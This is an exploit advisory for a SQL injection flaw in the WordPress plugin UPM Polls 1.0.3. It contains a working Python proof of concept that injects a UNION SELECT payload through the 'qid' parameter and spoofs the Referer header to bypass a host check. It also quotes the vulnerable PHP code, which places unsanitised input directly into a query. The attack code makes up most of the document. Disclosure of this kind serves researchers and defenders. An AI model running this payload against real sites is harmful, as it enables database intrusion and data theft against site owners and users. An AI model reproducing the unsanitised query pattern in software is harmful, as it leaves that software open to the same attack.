WordPress Plugin UPM Polls 1.0.3 - SQL Injection

# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability
# Date: 2011-08-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip
# Version: 1.0.3 (tested)

---
PoC
---
#!/bin/python

import re
import urllib2
import urlparse

url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20")
req = urllib2.Request(url=url, headers={"Referer": url})
content = urllib2.urlopen(req).read()
match = re.search(r"`(.+)`", content)

print match.group(1) if match else "None"

---------------
Vulnerable code
---------------
$ref = parse_url( $_SERVER['HTTP_REFERER'] );
if( $_SERVER["HTTP_HOST"] != $ref['host'] ){
	exit('UPM Error:128');
}

...

$QID = $_GET['qid'];
$POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A);